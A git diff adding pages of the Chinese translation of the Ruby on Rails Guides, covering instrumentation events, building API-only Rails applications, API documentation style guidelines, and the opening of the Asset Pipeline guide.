+ActiveSupport::Notifications.subscribe "process_action.action_controller" do |*args|
+  data = args.extract_options!
+  data # { extra: :information }
+end
+
+
+
+

此外,还可以订阅匹配正则表达式的事件。这样可以一次订阅多个事件。下面是订阅 ActionController 中所有事件的方式:

+
+ActiveSupport::Notifications.subscribe /action_controller/ do |*args|
+  # 审查所有 ActionController 事件
+end
+
+
+
+

12 自定义事件

自己添加事件也很简单,繁重的工作都由 ActiveSupport::Notifications 代劳,我们只需调用 instrument,并传入 namepayload 和一个块。通知在块返回后发送。ActiveSupport 会生成起始时间和唯一的 ID。传给 instrument 调用的所有数据都会放入载荷中。

下面举个例子:

+
+ActiveSupport::Notifications.instrument "my.custom.event", this: :data do
+  # 自己编写的其他代码
+end
+
+
+
+

然后可以使用下述代码监听这个事件:

+
+ActiveSupport::Notifications.subscribe "my.custom.event" do |name, started, finished, unique_id, data|
+  puts data.inspect # {:this=>:data}
+end
+
+
+
+

自己定义事件时,应该遵守 Rails 的约定。事件名称的格式是 event.library。如果应用发送推文,应该把事件命名为 tweet.twitter

+ +

反馈

+

+ 我们鼓励您帮助提高本指南的质量。 +

+

+ 如果看到如何错字或错误,请反馈给我们。 + 您可以阅读我们的文档贡献指南。 +

+

+ 您还可能会发现内容不完整或不是最新版本。 + 请添加缺失文档到 master 分支。请先确认 Edge Guides 是否已经修复。 + 关于用语约定,请查看Ruby on Rails 指南指导。 +

+

+ 无论什么原因,如果你发现了问题但无法修补它,请创建 issue。 +

+

+ 最后,欢迎到 rubyonrails-docs 邮件列表参与任何有关 Ruby on Rails 文档的讨论。 +

+

中文翻译反馈

+

贡献:https://github.com/ruby-china/guides

+
+
+
+ +
+ + + + + + + + + diff --git a/api_app.html b/api_app.html new file mode 100644 index 0000000..543ee50 --- /dev/null +++ b/api_app.html @@ -0,0 +1,506 @@ + + + + + + + +使用 Rails 开发只提供 API 的应用 — Ruby on Rails Guides + + + + + + + + + + + +
+
+ 更多内容 rubyonrails.org: + + 更多内容 + + +
+
+ +
+ +
+
+

使用 Rails 开发只提供 API 的应用

在本文中您将学到:

+
    +
  • Rails 对只提供 API 的应用的支持;
  • +
  • 如何配置 Rails,不使用任何针对浏览器的功能;
  • +
  • 如何决定使用哪些中间件;
  • +
  • 如何决定在控制器中使用哪些模块。
  • +
+ + + + +
+
+ +
+
+
+

1 什么是 API 应用?

人们说把 Rails 用作“API”,通常指的是在 Web 应用之外提供一份可通过编程方式访问的 API。例如,GitHub 提供了 API,供你在自己的客户端中使用。

随着客户端框架的出现,越来越多的开发者使用 Rails 构建后端,在 Web 应用和其他原生应用之间共享。

例如,Twitter 使用自己的公开 API 构建 Web 应用,而文档网站是一个静态网站,消费 JSON 资源。

很多人不再使用 Rails 生成 HTML,通过表单和链接与服务器通信,而是把 Web 应用当做 API 客户端,分发包含 JavaScript 的 HTML,消费 JSON API。

本文说明如何构建伺服 JSON 资源的 Rails 应用,供 API 客户端(包括客户端框架)使用。

2 为什么使用 Rails 构建 JSON API?

提到使用 Rails 构建 JSON API,多数人想到的第一个问题是:“使用 Rails 生成 JSON 是不是有点大材小用了?使用 Sinatra 这样的框架是不是更好?”

对特别简单的 API 来说,确实如此。然而,对大量使用 HTML 的应用来说,应用的逻辑大都在视图层之外。

多数人使用 Rails 的原因是,Rails 提供了一系列默认值,开发者能快速上手,而不用做些琐碎的决定。

下面是 Rails 提供的一些开箱即用的功能,这些功能在 API 应用中也适用。

在中间件层处理的功能:

+
    +
  • 重新加载:Rails 应用支持简单明了的重新加载机制。即使应用变大,每次请求都重启服务器变得不切实际,这一机制依然适用。
  • +
  • 开发模式:Rails 应用自带智能的开发默认值,使得开发过程很愉快,而且不会破坏生产环境的效率。
  • +
  • 测试模式:同开发模式。
  • +
  • 日志:Rails 应用会在日志中记录每次请求,而且为不同环境设定了合适的详细等级。在开发环境中,Rails 记录的信息包括请求环境、数据库查询和基本的性能信息。
  • +
  • 安全性:Rails 能检测并防范 IP 欺骗攻击,还能处理时序攻击中的加密签名。不知道 IP 欺骗攻击和时序攻击是什么?这就对了。
  • +
  • 参数解析:想以 JSON 的形式指定参数,而不是 URL 编码字符串形式?没问题。Rails 会代为解码 JSON,存入 params 中。想使用嵌套的 URL 编码参数?也没问题。
  • +
  • 条件 GET 请求:Rails 能处理条件 GET 请求相关的首部(ETagLast-Modified),然后返回正确的响应首部和状态码。你只需在控制器中使用 stale? 做检查,剩下的 HTTP 细节都由 Rails 处理。
  • +
  • HEAD 请求:Rails 会把 HEAD 请求转换成 GET 请求,只返回首部。这样 HEAD 请求在所有 Rails API 中都可靠。
  • +
+

虽然这些功能可以使用 Rack 中间件实现,但是上述列表的目的是说明 Rails 默认提供的中间件栈提供了大量有价值的功能,即便“只是生成 JSON”也用得到。

在 Action Pack 层处理的功能:

+
    +
  • 资源式路由:如果构建的是 REST 式 JSON API,你会想用 Rails 路由器的。按照约定以简明的方式把 HTTP 映射到控制器上能节省很多时间,不用再从 HTTP 方面思考如何建模 API。
  • +
  • URL 生成:路由的另一面是 URL 生成。基于 HTTP 的优秀 API 包含 URL(比如 GitHub Gist API)。
  • +
  • 首部和重定向响应:head :no_contentredirect_to user_url(http://github.com/current_user) 用着很方便。当然,你可以自己动手添加相应的响应首部,但是为什么要费这事呢?
  • +
  • 缓存:Rails 提供了页面缓存、动作缓存和片段缓存。构建嵌套的 JSON 对象时,片段缓存特别有用。
  • +
  • 基本身份验证、摘要身份验证和令牌身份验证:Rails 默认支持三种 HTTP 身份验证。
  • +
  • 监测程序:Rails 提供了监测 API,在众多事件发生时触发注册的处理程序,例如处理动作、发送文件或数据、重定向和数据库查询。各个事件的载荷中包含相关的信息(对动作处理事件来说,载荷中包括控制器、动作、参数、请求格式、请求方法和完整的请求路径)。
  • +
  • 生成器:通常生成一个资源就能把模型、控制器、测试桩件和路由在一个命令中通通创建出来,然后再做调整。迁移等也有生成器。
  • +
  • 插件:有很多第三方库支持 Rails,这样不必或很少需要花时间设置及把库与 Web 框架连接起来。插件可以重写默认的生成器、添加 Rake 任务,而且继续使用 Rails 选择的处理方式(如日志记录器和缓存后端)。
  • +
+

当然,Rails 启动过程还是要把各个注册的组件连接起来。例如,Rails 启动时会使用 config/database.yml 文件配置 Active Record。

简单来说,你可能没有想过去掉视图层之后要把 Rails 的哪些部分保留下来,不过答案是,多数都要保留。

3 基本配置

如果你构建的 Rails 应用主要用作 API,可以从较小的 Rails 子集开始,然后再根据需要添加功能。

3.1 新建应用

生成 Rails API 应用使用下述命令:

+
+$ rails new my_api --api
+
+
+
+

这个命令主要做三件事:

+
    +
  • 配置应用,使用有限的中间件(比常规应用少)。具体而言,不含默认主要针对浏览器应用的中间件(如提供 cookie 支持的中间件)。
  • +
  • ApplicationController 继承 ActionController::API,而不继承 ActionController::Base。与中间件一样,这样做是为了去除主要针对浏览器应用的 Action Controller 模块。
  • +
  • 配置生成器,生成资源时不生成视图、辅助方法和静态资源。
  • +
+

3.2 修改现有应用

如果你想把现有的应用改成 API 应用,请阅读下述步骤。

config/application.rb 文件中,把下面这行代码添加到 Application 类定义的顶部:

+
+config.api_only = true
+
+
+
+

config/environments/development.rb 文件中,设定 config.debug_exception_response_format 选项,配置在开发环境中出现错误时响应使用的格式。

如果想使用 HTML 页面渲染调试信息,把值设为 :default

+
+config.debug_exception_response_format = :default
+
+
+
+

如果想使用响应所用的格式渲染调试信息,把值设为 :api

+
+config.debug_exception_response_format = :api
+
+
+
+

默认情况下,config.api_only 的值为 true 时,config.debug_exception_response_format 的值是 :api

最后,在 app/controllers/application_controller.rb 文件中,把下述代码

+
+class ApplicationController < ActionController::Base
+end
+
+
+
+

改为

+
+class ApplicationController < ActionController::API
+end
+
+
+
+

4 选择中间件

API 应用默认包含下述中间件:

+
    +
  • Rack::Sendfile +
  • +
  • ActionDispatch::Static +
  • +
  • ActionDispatch::Executor +
  • +
  • ActiveSupport::Cache::Strategy::LocalCache::Middleware +
  • +
  • Rack::Runtime +
  • +
  • ActionDispatch::RequestId +
  • +
  • ActionDispatch::RemoteIp +
  • +
  • Rails::Rack::Logger +
  • +
  • ActionDispatch::ShowExceptions +
  • +
  • ActionDispatch::DebugExceptions +
  • +
  • ActionDispatch::Reloader +
  • +
  • ActionDispatch::Callbacks +
  • +
  • ActiveRecord::Migration::CheckPending +
  • +
  • Rack::Head +
  • +
  • Rack::ConditionalGet +
  • +
  • Rack::ETag +
  • +
  • MyApi::Application::Routes +
  • +
+

各个中间件的作用参见 内部中间件栈

其他插件,包括 Active Record,可能会添加额外的中间件。一般来说,这些中间件对要构建的应用类型一无所知,可以在只提供 API 的 Rails 应用中使用。

可以通过下述命令列出应用中的所有中间件:

+
+$ rails middleware
+
+
+
+

4.1 使用缓存中间件

默认情况下,Rails 会根据应用的配置提供一个缓存存储器(默认为 memcache)。因此,内置的 HTTP 缓存依靠这个中间件。

例如,使用 stale? 方法:

+
+def show
+  @post = Post.find(params[:id])
+
+  if stale?(last_modified: @post.updated_at)
+    render json: @post
+  end
+end
+
+
+
+

上述 stale? 调用比较请求中的 If-Modified-Since 首部和 @post.updated_at。如果首部的值比最后修改时间晚,这个动作返回“304 未修改”响应;否则,渲染响应,并且设定 Last-Modified 首部。

通常,这个机制会区分客户端。缓存中间件支持跨客户端共享这种缓存机制。跨客户端缓存可以在调用 stale? 时启用:

+
+def show
+  @post = Post.find(params[:id])
+
+  if stale?(last_modified: @post.updated_at, public: true)
+    render json: @post
+  end
+end
+
+
+
+

这表明,缓存中间件会在 Rails 缓存中存储 URL 的 Last-Modified 值,而且为后续对同一个 URL 的入站请求添加 If-Modified-Since 首部。

可以把这种机制理解为使用 HTTP 语义的页面缓存。

4.2 使用 Rack::Sendfile

在 Rails 控制器中使用 send_file 方法时,它会设定 X-Sendfile 首部。Rack::Sendfile 负责发送文件。

如果前端服务器支持加速发送文件,Rack::Sendfile 会把文件交给前端服务器发送。

此时,可以在环境的配置文件中设定 config.action_dispatch.x_sendfile_header 选项,为前端服务器指定首部的名称。

关于如何在流行的前端服务器中使用 Rack::Sendfile,参见 Rack::Sendfile 的文档

下面是两个流行的服务器的配置。这样配置之后,就能支持加速文件发送功能了。

+
+# Apache 和 lighttpd
+config.action_dispatch.x_sendfile_header = "X-Sendfile"
+
+# Nginx
+config.action_dispatch.x_sendfile_header = "X-Accel-Redirect"
+
+
+
+

请按照 Rack::Sendfile 文档中的说明配置你的服务器。

4.3 使用 ActionDispatch::Request

ActionDispatch::Request#params 获取客户端发来的 JSON 格式参数,将其存入 params,可在控制器中访问。

为此,客户端要发送 JSON 编码的参数,并把 Content-Type 设为 application/json

下面以 jQuery 为例:

+
+jQuery.ajax({
+  type: 'POST',
+  url: '/people',
+  dataType: 'json',
+  contentType: 'application/json',
+  data: JSON.stringify({ person: { firstName: "Yehuda", lastName: "Katz" } }),
+  success: function(json) { }
+});
+
+
+
+

ActionDispatch::Request 检查 Content-Type 后,把参数转换成:

+
+{ :person => { :firstName => "Yehuda", :lastName => "Katz" } }
+
+
+
+

4.4 其他中间件

Rails 自带的其他中间件在 API 应用中可能也会用到,尤其是 API 客户端包含浏览器时:

+
    +
  • Rack::MethodOverride +
  • +
  • ActionDispatch::Cookies +
  • +
  • ActionDispatch::Flash +
  • +
  • +

    管理会话

    +
      +
    • ActionDispatch::Session::CacheStore +
    • +
    • ActionDispatch::Session::CookieStore +
    • +
    • ActionDispatch::Session::MemCacheStore +
    • +
    +
  • +
+

这些中间件可通过下述方式添加:

+
+config.middleware.use Rack::MethodOverride
+
+
+
+

4.5 删除中间件

如果默认的 API 中间件中有不需要使用的,可以通过下述方式将其删除:

+
+config.middleware.delete ::Rack::Sendfile
+
+
+
+

注意,删除中间件后 Action Controller 的特定功能就不可用了。

5 选择控制器模块

API 应用(使用 ActionController::API)默认有下述控制器模块:

+
    +
  • ActionController::UrlFor:提供 url_for 等辅助方法。
  • +
  • ActionController::Redirecting:提供 redirect_to
  • +
  • AbstractController::RenderingActionController::ApiRendering:提供基本的渲染支持。
  • +
  • ActionController::Renderers::All:提供 render :json 等。
  • +
  • ActionController::ConditionalGet:提供 stale?
  • +
  • ActionController::BasicImplicitRender:如果没有显式响应,确保返回一个空响应。
  • +
  • ActionController::StrongParameters:结合 Active Model 批量赋值,提供参数白名单过滤功能。
  • +
  • ActionController::ForceSSL:提供 force_ssl
  • +
  • ActionController::DataStreaming:提供 send_filesend_data
  • +
  • AbstractController::Callbacks:提供 before_action 等方法。
  • +
  • ActionController::Rescue:提供 rescue_from
  • +
  • ActionController::Instrumentation:提供 Action Controller 定义的监测钩子(详情参见 Action Controller)。
  • +
  • ActionController::ParamsWrapper:把参数散列放到一个嵌套散列中,这样在发送 POST 请求时无需指定根元素。
  • +
  • ActionController::Head:返回只有首部没有内容的响应。
  • +
+

其他插件可能会添加额外的模块。ActionController::API 引入的模块可以在 Rails 控制台中列出:

+
+$ bin/rails c
+>> ActionController::API.ancestors - ActionController::Metal.ancestors
+=> [ActionController::API,
+    ActiveRecord::Railties::ControllerRuntime,
+    ActionDispatch::Routing::RouteSet::MountedHelpers,
+    ActionController::ParamsWrapper,
+    ... ,
+    AbstractController::Rendering,
+    ActionView::ViewPaths]
+
+
+
+

5.1 添加其他模块

所有 Action Controller 模块都知道它们所依赖的模块,因此在控制器中可以放心引入任何模块,所有依赖都会自动引入。

可能想添加的常见模块有:

+
    +
  • AbstractController::Translation:提供本地化和翻译方法 lt
  • +
  • ActionController::HttpAuthentication::Basic(或 DigestToken):提供基本、摘要或令牌 HTTP 身份验证。
  • +
  • ActionView::Layouts:渲染时支持使用布局。
  • +
  • ActionController::MimeResponds:提供 respond_to
  • +
  • ActionController::Cookies:提供 cookies,包括签名和加密 cookie。需要 cookies 中间件支持。
  • +
+

模块最好添加到 ApplicationController 中,不过也可以在各个控制器中添加。

+ +

反馈

+

+ 我们鼓励您帮助提高本指南的质量。 +

+

+ 如果看到如何错字或错误,请反馈给我们。 + 您可以阅读我们的文档贡献指南。 +

+

+ 您还可能会发现内容不完整或不是最新版本。 + 请添加缺失文档到 master 分支。请先确认 Edge Guides 是否已经修复。 + 关于用语约定,请查看Ruby on Rails 指南指导。 +

+

+ 无论什么原因,如果你发现了问题但无法修补它,请创建 issue。 +

+

+ 最后,欢迎到 rubyonrails-docs 邮件列表参与任何有关 Ruby on Rails 文档的讨论。 +

+

中文翻译反馈

+

贡献:https://github.com/ruby-china/guides

+
+
+
+ +
+ + + + + + + + + diff --git a/api_documentation_guidelines.html b/api_documentation_guidelines.html new file mode 100644 index 0000000..c607eb7 --- /dev/null +++ b/api_documentation_guidelines.html @@ -0,0 +1,483 @@ + + + + + + + +API 文档指导方针 — Ruby on Rails Guides + + + + + + + + + + + +
+
+ 更多内容 rubyonrails.org: + + 更多内容 + + +
+
+ +
+ +
+
+

API 文档指导方针

本文说明 Ruby on Rails 的 API 文档指导方针。

读完本文后,您将学到:

+
    +
  • 如何编写有效的文档;
  • +
  • 为不同 Ruby 代码编写文档的风格指导方针。
  • +
+ + + + +
+
+ +
+
+
+

1 RDoc

Rails API 文档使用 RDoc 生成。如果想生成 API 文档,要在 Rails 根目录中执行 bundle install,然后再执行:

+
+$ bundle exec rake rdoc
+
+
+
+

得到的 HTML 文件在 ./doc/rdoc 目录中。

RDoc 的标记额外的指令参见文档。

2 用词

使用简单的陈述句。简短更好,要说到点子上。

使用现在时:“Returns a hash that…​”,而非“Returned a hash that…​”或“Will return a hash that…​”。

注释的第一个字母大写,后续内容遵守常规的标点符号规则:

+
+# Declares an attribute reader backed by an internally-named
+# instance variable.
+def attr_internal_reader(*attrs)
+  ...
+end
+
+
+
+

使用通行的方式与读者交流,可以直言,也可以隐晦。使用当下推荐的习语。如有必要,调整内容的顺序,强调推荐的方式。文档应该说明最佳实践和现代的权威 Rails 用法。

文档应该简洁全面,要指明边缘情况。如果模块是匿名的呢?如果集合是空的呢?如果参数是 nil 呢?

Rails 组件的名称在单词之间有个空格,如“Active Support”。ActiveRecord 是一个 Ruby 模块,而 Active Record 是一个 ORM。所有 Rails 文档都应该始终使用正确的名称引用 Rails 组件。如果你在下一篇博客文章或演示文稿中这么做,人们会觉得你很正规。

拼写要正确:Arel、Test::Unit、RSpec、HTML、MySQL、JavaScript、ERB。如果不确定,请查看一些权威资料,如各自的官方文档。

“SQL”前面使用不定冠词“an”,如“an SQL statement”和“an SQLite database”。

避免使用“you”和“your”。例如,较之

+
+If you need to use `return` statements in your callbacks, it is recommended that you explicitly define them as methods.
+
+
+
+

这样写更好:

+
+If `return` is needed it is recommended to explicitly define a method.
+
+
+
+

不过,使用代词指代虚构的人时,例如“有会话 cookie 的用户”,应该使用中性代词(they/their/them)。

+
    +
  • 不用 he 或 she,用 they
  • +
  • 不用 him 或 her,用 them
  • +
  • 不用 his 或 her,用 their
  • +
  • 不用 his 或 hers,用 theirs
  • +
  • 不用 himself 或 herself,用 themselves
  • +
+

3 英语

请使用美式英语(color、center、modularize,等等)。美式英语与英式英语之间的拼写差异参见这里

4 牛津式逗号

请使用牛津式逗号(“red, white, and blue”,而非“red, white and blue”)。

5 示例代码

选择有意义的示例,说明基本用法和有趣的点或坑。

代码使用两个空格缩进,即根据标记在左外边距的基础上增加两个空格。示例应该遵守 Rails 编程约定

简短的文档无需明确使用“Examples”标注引入代码片段,直接跟在段后即可:

+
+# Converts a collection of elements into a formatted string by
+# calling +to_s+ on all elements and joining them.
+#
+#   Blog.all.to_formatted_s # => "First PostSecond PostThird Post"
+
+
+
+

但是大段文档可以单独有个“Examples”部分:

+
+# ==== Examples
+#
+#   Person.exists?(5)
+#   Person.exists?('5')
+#   Person.exists?(name: "David")
+#   Person.exists?(['name LIKE ?', "%#{query}%"])
+
+
+
+

表达式的结果在表达式之后,使用 “# => ”给出,而且要纵向对齐:

+
+# For checking if an integer is even or odd.
+#
+#   1.even? # => false
+#   1.odd?  # => true
+#   2.even? # => true
+#   2.odd?  # => false
+
+
+
+

如果一行太长,结果可以放在下一行:

+
+#   label(:article, :title)
+#   # => <label for="article_title">Title</label>
+#
+#   label(:article, :title, "A short title")
+#   # => <label for="article_title">A short title</label>
+#
+#   label(:article, :title, "A short title", class: "title_label")
+#   # => <label for="article_title" class="title_label">A short title</label>
+
+
+
+

不要使用打印方法,如 putsp 给出结果。

常规的注释不使用箭头:

+
+#   polymorphic_url(http://github.com/record)  # same as comment_url(http://github.com/record)
+
+
+
+

6 布尔值

在判断方法或旗标中,尽量使用布尔语义,不要用具体的值。

如果所用的“true”或“false”与 Ruby 定义的一样,使用常规字体。truefalse 两个单例要使用等宽字体。请不要使用“truthy”,Ruby 语言定义了什么是真什么是假,“true”和“false”就能表达技术意义,无需使用其他词代替。

通常,如非绝对必要,不要为单例编写文档。这样能阻止智能的结构,如 !! 或三元运算符,便于重构,而且代码不依赖方法返回的具体值。

例如:

+
+`config.action_mailer.perform_deliveries` specifies whether mail will actually be delivered and is true by default
+
+
+
+

用户无需知道旗标具体的默认值,因此我们只说明它的布尔语义。

下面是一个判断方法的文档示例:

+
+# Returns true if the collection is empty.
+#
+# If the collection has been loaded
+# it is equivalent to <tt>collection.size.zero?</tt>. If the
+# collection has not been loaded, it is equivalent to
+# <tt>collection.exists?</tt>. If the collection has not already been
+# loaded and you are going to fetch the records anyway it is better to
+# check <tt>collection.length.zero?</tt>.
+def empty?
+  if loaded?
+    size.zero?
+  else
+    @target.blank? && !scope.exists?
+  end
+end
+
+
+
+

这个 API 没有提到任何具体的值,知道它具有判断功能就够了。

7 文件名

通常,文件名相对于应用的根目录:

+
+config/routes.rb            # YES
+routes.rb                   # NO
+RAILS_ROOT/config/routes.rb # NO
+
+
+
+

8 字体

8.1 等宽字体

使用等宽字体编写:

+
    +
  • 常量,尤其是类名和模块名
  • +
  • 方法名
  • +
  • 字面量,如 nilfalsetrueself +
  • +
  • 符号
  • +
  • 方法的参数
  • +
  • 文件名
  • +
+
+
+class Array
+  # Calls +to_param+ on all its elements and joins the result with
+  # slashes. This is used by +url_for+ in Action Pack.
+  def to_param
+    collect { |e| e.to_param }.join '/'
+  end
+end
+
+
+
+

只有简单的内容才能使用 +...+ 标记使用等宽字体,如常规的方法名、符号、路径(含有正斜线),等等。其他内容应该使用 <tt>&#8230;&#8203;</tt>,尤其是带有命名空间的类名或模块名,如 <tt>ActiveRecord::Base</tt>

可以使用下述命令测试 RDoc 的输出:

+
+$ echo "+:to_param+" | rdoc --pipe
+# => <p><code>:to_param</code></p>
+
+
+
+

8.2 常规字体

“true”和“false”是英语单词而不是 Ruby 关键字时,使用常规字体:

+
+# Runs all the validations within the specified context.
+# Returns true if no errors are found, false otherwise.
+#
+# If the argument is false (default is +nil+), the context is
+# set to <tt>:create</tt> if <tt>new_record?</tt> is true,
+# and to <tt>:update</tt> if it is not.
+#
+# Validations with no <tt>:on</tt> option will run no
+# matter the context. Validations with # some <tt>:on</tt>
+# option will only run in the specified context.
+def valid?(context = nil)
+  ...
+end
+
+
+
+

9 描述列表

在选项、参数等列表中,在项目和描述之间使用一个连字符(而不是一个冒号,因为选项一般是符号):

+
+# * <tt>:allow_nil</tt> - Skip validation if attribute is +nil+.
+
+
+
+

描述开头是大写字母,结尾有一个句号——这是标准的英语。

10 动态生成的方法

使用 (module|class)_eval(STRING) 创建的方法在旁边有个注释,举例说明生成的代码。这种注释与模板之间相距两个空格。

+
+for severity in Severity.constants
+  class_eval <<-EOT, __FILE__, __LINE__
+    def #{severity.downcase}(message = nil, progname = nil, &block)  # def debug(message = nil, progname = nil, &block)
+      add(#{severity}, message, progname, &block)                    #   add(DEBUG, message, progname, &block)
+    end                                                              # end
+                                                                     #
+    def #{severity.downcase}?                                        # def debug?
+      #{severity} >= @level                                          #   DEBUG >= @level
+    end                                                              # end
+  EOT
+end
+
+
+
+

如果这样得到的行太长,比如说有 200 多列,把注释放在上方:

+
+# def self.find_by_login_and_activated(*args)
+#   options = args.extract_options!
+#   ...
+# end
+self.class_eval %{
+  def self.#{method_id}(*args)
+    options = args.extract_options!
+    ...
+  end
+}
+
+
+
+

11 方法可见性

为 Rails 编写文档时,要区分公开 API 和内部 API。

与多数库一样,Rails 使用 Ruby 提供的 private 关键字定义内部 API。然而,公开 API 遵照的约定稍有不同。不是所有公开方法都旨在供用户使用,Rails 使用 :nodoc: 指令注解内部 API 方法。

因此,在 Rails 中有些可见性为 public 的方法不是供用户使用的。

ActiveRecord::Core::ClassMethods#arel_table 就是一例:

+
+module ActiveRecord::Core::ClassMethods
+  def arel_table #:nodoc:
+    # do some magic..
+  end
+end
+
+
+
+

你可能想,“这是 ActiveRecord::Core 的一个公开类方法”,没错,但是 Rails 团队不希望用户使用这个方法。因此,他们把它标记为 :nodoc:,不包含在公开文档中。这样做,开发团队可以根据内部需要在发布新版本时修改这个方法。方法的名称可能会变,或者返回值有变化,也可能是整个类都不复存在——有太多不确定性,因此不应该在你的插件或应用中使用这个 API。如若不然,升级新版 Rails 时,你的应用或 gem 可能遭到破坏。

为 Rails 做贡献时一定要考虑清楚 API 是否供最终用户使用。未经完整的弃用循环之前,Rails 团队不会轻易对公开 API 做大的改动。如果没有定义为私有的(默认是内部 API),建议你使用 :nodoc: 标记所有内部的方法和类。API 稳定之后,可见性可以修改,但是为了向后兼容,公开 API 往往不宜修改。

使用 :nodoc: 标记一个类或模块表示里面的所有方法都是内部 API,不应该直接使用。

综上,Rails 团队使用 :nodoc: 标记供内部使用的可见性为公开的方法和类,对 API 可见性的修改要谨慎,必须先通过一个拉取请求讨论。

12 考虑 Rails 栈

为 Rails API 编写文档时,一定要记住所有内容都身处 Rails 栈中。

这意味着,方法或类的行为在不同的作用域或上下文中可能有所不同。

把整个栈考虑进来之后,行为在不同的地方可能有变。ActionView::Helpers::AssetTagHelper#image_tag 就是一例:

+
+# image_tag("icon.png")
+#   # => <img alt="Icon" src="http://github.com/assets/icon.png" />
+
+
+
+

虽然 #image_tag 的默认行为是返回 /images/icon.png,但是把整个 Rails 栈(包括 Asset Pipeline)考虑进来之后,可能会得到上述结果。

我们只关注考虑整个 Rails 默认栈的行为。

因此,我们要说明的是框架的行为,而不是单个方法。

如果你对 Rails 团队处理某个 API 的方式有疑问,别迟疑,在问题追踪系统中发一个工单,或者提交补丁。

+ +

反馈

+

+ 我们鼓励您帮助提高本指南的质量。 +

+

+ 如果看到如何错字或错误,请反馈给我们。 + 您可以阅读我们的文档贡献指南。 +

+

+ 您还可能会发现内容不完整或不是最新版本。 + 请添加缺失文档到 master 分支。请先确认 Edge Guides 是否已经修复。 + 关于用语约定,请查看Ruby on Rails 指南指导。 +

+

+ 无论什么原因,如果你发现了问题但无法修补它,请创建 issue。 +

+

+ 最后,欢迎到 rubyonrails-docs 邮件列表参与任何有关 Ruby on Rails 文档的讨论。 +

+

中文翻译反馈

+

贡献:https://github.com/ruby-china/guides

+
+
+
+ +
+ + + + + + + + + diff --git a/asset_pipeline.html b/asset_pipeline.html new file mode 100644 index 0000000..cf7b32f --- /dev/null +++ b/asset_pipeline.html @@ -0,0 +1,881 @@ + + + + + + + +Asset Pipeline — Ruby on Rails Guides + + + + + + + + + + + +
+
+ 更多内容 rubyonrails.org: + + 更多内容 + + +
+
+ +
+ +
+ +
+ +
+
+
+

1 Asset Pipeline 是什么

Asset Pipeline 提供了用于连接、简化或压缩 JavaScript 和 CSS 静态资源文件的框架。有了 Asset Pipeline,我们还可以使用其他语言和预处理器,例如 CoffeeScript、Sass 和 ERB,编写这些静态资源文件。应用中的静态资源文件还可以自动与其他 gem 中的静态资源文件合并。例如,与 jquery-rails gem 中包含的 jquery.js 文件合并,从而使 Rails 能够支持 AJAX 特性。

Asset Pipeline 是通过 sprockets-rails gem 实现的,Rails 默认启用了这个 gem。在新建 Rails 应用时,通过 --skip-sprockets 选项可以禁用这个 gem。

+
+$ rails new appname --skip-sprockets
+
+
+
+

在新建 Rails 应用时,Rails 自动在 Gemfile 中添加了 sass-railscoffee-railsuglifier gem,Sprockets 通过这些 gem 来压缩静态资源文件:

+
+gem 'sass-rails'
+gem 'uglifier'
+gem 'coffee-rails'
+
+
+
+

使用 --skip-sprockets 选项时,Rails 不会在 Gemfile 中添加这些 gem。因此,之后如果想要启用 Asset Pipeline,就需要手动在 Gemfile 中添加这些 gem。此外,使用 --skip-sprockets 选项时生成的 config/application.rb 也略有不同,用于加载 sprockets/railtie 的代码被注释掉了,因此要启用 Asset Pipeline,还需要取消注释:

+
+# require "sprockets/railtie"
+
+
+
+

production.rb 配置文件中,通过 config.assets.css_compressorconfig.assets.js_compressor 选项可以分别为 CSS 和 JavaScript 静态资源文件设置压缩方式:

+
+config.assets.css_compressor = :yui
+config.assets.js_compressor = :uglifier
+
+
+
+

如果 Gemfile 中包含 sass-rails gem,Rails 就会自动使用这个 gem 压缩 CSS 静态资源文件,而无需设置 config.assets.css_compressor 选项。

1.1 主要特性

Asset Pipeline 的特性之一是连接静态资源文件,目的是减少渲染网页时浏览器发起的请求次数。Web 浏览器能够同时发起的请求次数是有限的,因此更少的请求次数可能意味着更快的应用加载速度。

Sprockets 把所有 JavaScript 文件连接为一个主 .js 文件,把所有 CSS 文件连接为一个主 .css 文件。后文会介绍,我们可以按需定制连接文件的方式。在生产环境中,Rails 会在每个文件名中插入 SHA256 指纹,以便 Web 浏览器缓存文件。当我们修改了文件内容,Rails 会自动修改文件名中的指纹,从而让原有缓存失效。

Asset Pipeline 的特性之二是简化或压缩静态资源文件。对于 CSS 文件,会删除空格和注释。对于 JavaScript 文件,可以进行更复杂的处理,我们可以从内置选项中选择处理方式,也可以自定义处理方式。

Asset Pipeline 的特性之三是可以使用更高级的语言编写静态资源文件,再通过预编译转换为实际的静态资源文件。默认支持的高级语言有:用于编写 CSS 的 Sass,用于编写 JavaScript 的 CoffeeScript,以及 ERB。

1.2 指纹识别是什么,为什么要关心指纹?

指纹是一项根据文件内容修改文件名的技术。一旦文件内容发生变化,文件名就会发生变化。对于静态文件或内容很少发生变化的文件,这项技术提供了确定文件的两个版本是否相同的简单方法,特别是在跨服务器和多次部署的情况下。

当一个文件的文件名能够根据文件内容发生变化,并且能够保证不会出现重名时,就可以通过设置 HTTP 首部来建议所有缓存(CDN、ISP、网络设备或 Web 浏览器的缓存)都保存该文件的副本。一旦文件内容更新,文件名中的指纹就会发生变化,从而使远程客户端发起对文件新副本的请求。这项技术称为“缓存清除”(cache busting)。

Sprockets 使用指纹的方式是在文件名中添加文件内容的哈希值,并且通常会添加到文件名末尾。例如,对于 CSS 文件 global.css,添加哈希值后文件名可能变为:

+
+global-908e25f4bf641868d8683022a5b62f54.css
+
+
+
+

Rails 的 Asset Pipeline 也采取了这种策略。

以前 Rails 采用的策略是,通过内置的辅助方法,为每一个指向静态资源文件的链接添加基于日期生成的查询字符串。在网页源代码中,会生成下面这样的链接:

+
+/stylesheets/global.css?1309495796
+
+
+
+

使用查询字符串的策略有如下缺点:

1. 如果一个文件的两个版本只是文件名的查询参数不同,这时不是所有缓存都能可靠地更新该文件的缓存。

Steve Souders 建议,“……避免在可缓存的资源上使用查询字符串”。他发现,在使用查询字符串的情况下,有 5—20% 的请求不会被缓存。对于某些 CDN,通过修改查询字符串根本无法使缓存失效。

2. 在多服务器环境中,不同节点上的文件名有可能发生变化。

在 Rails 2.x 中,默认基于文件修改时间生成查询字符串。当静态资源文件被部署到某个节点上时,无法保证文件的时间戳保持不变,这样,对于同一个文件的请求,不同服务器可能返回不同的文件名。

3. 缓存失效的情况过多。

每次部署代码的新版本时,静态资源文件都会被重新部署,这些文件的最后修改时间也会发生变化。这样,不管其内容是否发生变化,客户端都不得不重新获取这些文件。

使用指纹可以避免使用查询字符串的这些缺点,并且能够确保文件内容相同时文件名也相同。

